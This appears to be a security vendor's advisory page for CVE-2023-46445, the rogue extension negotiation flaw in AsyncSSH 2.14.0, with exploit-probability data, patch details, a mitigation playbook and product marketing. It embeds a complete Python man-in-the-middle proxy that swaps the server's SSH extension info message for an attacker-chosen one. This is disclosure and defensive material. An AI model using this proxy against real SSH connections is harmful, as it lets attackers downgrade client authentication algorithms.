Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI

GHSA-cfc2-wr2v-gxm5

MEDIUM

AsyncSSH Rogue Extension Negotiation

Also known asCVE-2023-46445PYSEC-2023-237
Published
Nov 9, 2023
Updated
Feb 4, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk43th percentile+0.14%
0.00%0.39%0.77%1.16%0.6%0.6%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐍asyncssh

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.

Details

The rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.

A correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).

PoC

<details> <summary>AsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example)</summary>
 #!/usr/bin/python3
 import socket
 from threading import Thread
 from binascii import unhexlify
 
 #####################################################################################
 ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ##
 ##                                                                                 ##
 ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example)                    ##
 ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example)                    ##
 ##                                                                                 ##
 ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0    ##
 #####################################################################################
 
 # IP and port for the TCP proxy to bind to
 PROXY_IP = '127.0.0.1'
 PROXY_PORT = 2222
 
 # IP and port of the server
 SERVER_IP = '127.0.0.1'
 SERVER_PORT = 22
 
 # Length of the individual messages
 NEW_KEYS_LENGTH = 16
 SERVER_EXT_INFO_LENGTH = 676
 
 newkeys_payload = b'\x00\x00\x00\x0c\x0a\x15'
 def contains_newkeys(data):
     return newkeys_payload in data
 
 # Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs
 rogue_ext_info = unhexlify('0000000C060700000000000000000000')
 def insert_rogue_ext_info(data):
     newkeys_index = data.index(newkeys_payload)
     # Insert rogue extension info and remove SSH_MSG_EXT_INFO
     return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:]
 
 def forward_client_to_server(client_socket, server_socket):
     try:
         while True:
             client_data = client_socket.recv(4096)
             if len(client_data) == 0:
                 break
             server_socket.send(client_data)
     except ConnectionResetError:
         print("[!] Client connection has been reset. Continue closing sockets.")
     print("[!] forward_client_to_server thread ran out of data, closing sockets!")
     client_socket.close()
     server_socket.close()
 
 def forward_server_to_client(client_socket, server_socket):
     try:
         while True:
             server_data = server_socket.recv(4096)
             if contains_newkeys(server_data):
                 print("[+] SSH_MSG_NEWKEYS sent by server identified!")
                 if len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:
                     print("[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!")
                 while len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:
                     server_data += server_socket.recv(4096)
                 print(f"[d] Original server_data before modification: {server_data.hex()}")
                 server_data = insert_rogue_ext_info(server_data)
                 print(f"[d] Modified server_data with rogue extension info: {server_data.hex()}")
             if len(server_data) == 0:
                 break
             client_socket.send(server_data)
     except ConnectionResetError:
         print("[!] Target connection has been reset. Continue closing sockets.")
     print("[!] forward_server_to_client thread ran out of data, closing sockets!")
     client_socket.close()
     server_socket.close()
 
 if __name__ == '__main__':
     print("--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---")
     mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     mitm_socket.bind((PROXY_IP, PROXY_PORT))
     mitm_socket.listen(5)
 
     print(f"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...")
 
     try:
         while True:
             client_socket, client_addr = mitm_socket.accept()
             print(f"[+] Accepted connection from: {client_addr}")
             print(f"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.")
             server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
             server_socket.connect((SERVER_IP, SERVER_PORT))
             print("[+] Spawning new forwarding threads to handle client connection.")
             Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start()
             Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start()
     except KeyboardInterrupt:
         client_socket.close()
         server_socket.close()
         mitm_socket.close()
</details>

Impact

Algorithm downgrade during user authentication.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIasyncsshall versions2.14.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for asyncssh. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update asyncssh to 2.14.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cfc2-wr2v-gxm5 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-cfc2-wr2v-gxm5 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-cfc2-wr2v-gxm5. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack. ### Details The rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it. A correct SSH implementation should not process an unauthenticated extension info message. Howev
O3 Security · Impact-Aware SCA

Is GHSA-cfc2-wr2v-gxm5 in your dependencies?

O3 detects GHSA-cfc2-wr2v-gxm5 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.